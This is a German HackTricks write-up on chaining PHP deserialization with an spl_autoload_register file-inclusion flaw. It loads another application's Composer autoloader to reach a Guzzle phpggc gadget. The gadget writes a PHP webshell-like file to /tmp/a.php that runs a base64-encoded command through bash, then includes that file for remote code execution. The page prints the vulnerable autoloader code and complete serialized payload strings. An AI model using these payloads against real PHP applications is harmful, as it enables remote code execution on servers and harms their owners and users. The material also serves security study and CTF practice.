PHP - Deserialization + Autoload Classes

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Zuerst sollten Sie überprüfen, was Autoloading-Klassen sind.

PHP-Deserialisierung + spl_autoload_register + LFI/Gadget

Wir befinden uns in einer Situation, in der wir eine PHP-Deserialisierung in einer Webanwendung gefunden haben, bei der keine Bibliothek anfällig für Gadgets in phpggc vorhanden ist. In demselben Container befindet sich jedoch eine andere Composer-Webanwendung mit anfälligen Bibliotheken. Das Ziel war es daher, den Composer-Loader der anderen Webanwendung zu laden und ihn zu missbrauchen, um ein Gadget zu laden, das die Bibliothek mit einem Gadget aus der Webanwendung angreift, die anfällig für Deserialisierung ist.

Schritte:

  • Sie haben eine Deserialisierung gefunden und es gibt kein Gadget im aktuellen Anwendungscode

  • Sie können eine spl_autoload_register-Funktion wie folgt missbrauchen, um eine beliebige lokale Datei mit der Erweiterung .php zu laden

  • Dazu verwenden Sie eine Deserialisierung, bei der der Name der Klasse in $name enthalten ist. Sie können "/" oder "." nicht in einem Klassennamen in einem serialisierten Objekt verwenden, aber der Code ersetzt die Unterstriche ("_") durch Schrägstriche ("/"). Ein Klassenname wie tmp_passwd wird also in /tmp/passwd.php umgewandelt und der Code versucht, ihn zu laden. Ein Beispiel für ein Gadget wäre: O:10:"tmp_passwd":0:{}

spl_autoload_register(function ($name) {

if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}

$filename = "/${name}.php";

if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});

Wenn Sie einen Datei-Upload haben und eine Datei mit der .php-Erweiterung hochladen können, können Sie diese Funktion direkt missbrauchen und bereits RCE erhalten.

In meinem Fall hatte ich so etwas nicht, aber es gab in dem selben Container eine andere Composer-Webseite mit einer Bibliothek, die anfällig für ein phpggc-Gadget war.

  • Um diese andere Bibliothek zu laden, müssen Sie zuerst den Composer-Loader dieser anderen Webanwendung laden (weil der der aktuellen Anwendung nicht auf die Bibliotheken der anderen zugreifen wird). Indem Sie den Pfad der Anwendung kennen, können Sie dies sehr einfach mit: O:28:"www_frontend_vendor_autoload":0:{} erreichen (In meinem Fall befand sich der Composer-Loader in /www/frontend/vendor/autoload.php).

  • Jetzt können Sie den Composer-Loader der anderen Anwendung laden, also ist es Zeit, das phpggc-Payload zu generieren, das Sie verwenden möchten. In meinem Fall habe ich Guzzle/FW1 verwendet, was es mir ermöglichte, beliebige Dateien im Dateisystem zu schreiben.

  • HINWEIS: Das generierte Gadget funktionierte nicht, damit es funktioniert, habe ich das Payload chain.php von phpggc modifiziert und alle Attribute der Klassen von privat auf öffentlich gesetzt. Andernfalls hatten die Attribute der erstellten Objekte nach der Deserialisierung keinen Wert.

  • Jetzt haben wir den Weg, um den Composer-Loader der anderen Anwendung zu laden und ein funktionierendes phpggc-Payload zu haben, aber wir müssen dies im GLEICHEN REQUEST tun, damit der Loader geladen wird, wenn das Gadget verwendet wird. Dafür habe ich ein serialisiertes Array mit beiden Objekten gesendet, wie folgt:

  • Sie können zuerst den Loader laden und dann das Payload sehen

a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
  • Jetzt können wir eine Datei erstellen und schreiben, jedoch kann der Benutzer nicht in einen beliebigen Ordner innerhalb des Webservers schreiben. Wie Sie im Payload sehen können, wird PHP mit einigen Base64-Daten in /tmp/a.php aufgerufen. Dann können wir den ersten Typ des Payloads wiederverwenden, den wir als LFI verwendet haben, um den Composer-Loader der anderen Webanwendung zu laden und die generierte /tmp/a.php-Datei zu laden. Fügen Sie es einfach zum Deserialisierungsgadget hinzu:

a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}

Zusammenfassung der Payload

  • Laden Sie den Composer-Autoload einer anderen Webanwendung im selben Container.

  • Laden Sie ein phpggc-Gadget, um eine Bibliothek der anderen Webanwendung zu missbrauchen (die anfällige Webanwendung für Deserialisierung hatte keine Gadgets in ihren Bibliotheken).

  • Das Gadget wird eine Datei mit einem PHP-Payload in /tmp/a.php erstellen, die bösartige Befehle enthält (der Webanwendungsbenutzer kann nicht in einen Ordner einer beliebigen Webanwendung schreiben).

  • Der letzte Teil unserer Payload wird die generierte PHP-Datei laden, die Befehle ausführen wird.

Ich musste diese Deserialisierung zweimal aufrufen. Bei meinen Tests wurde die Datei /tmp/a.php beim ersten Mal erstellt, aber nicht geladen, und beim zweiten Mal wurde sie korrekt geladen.

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated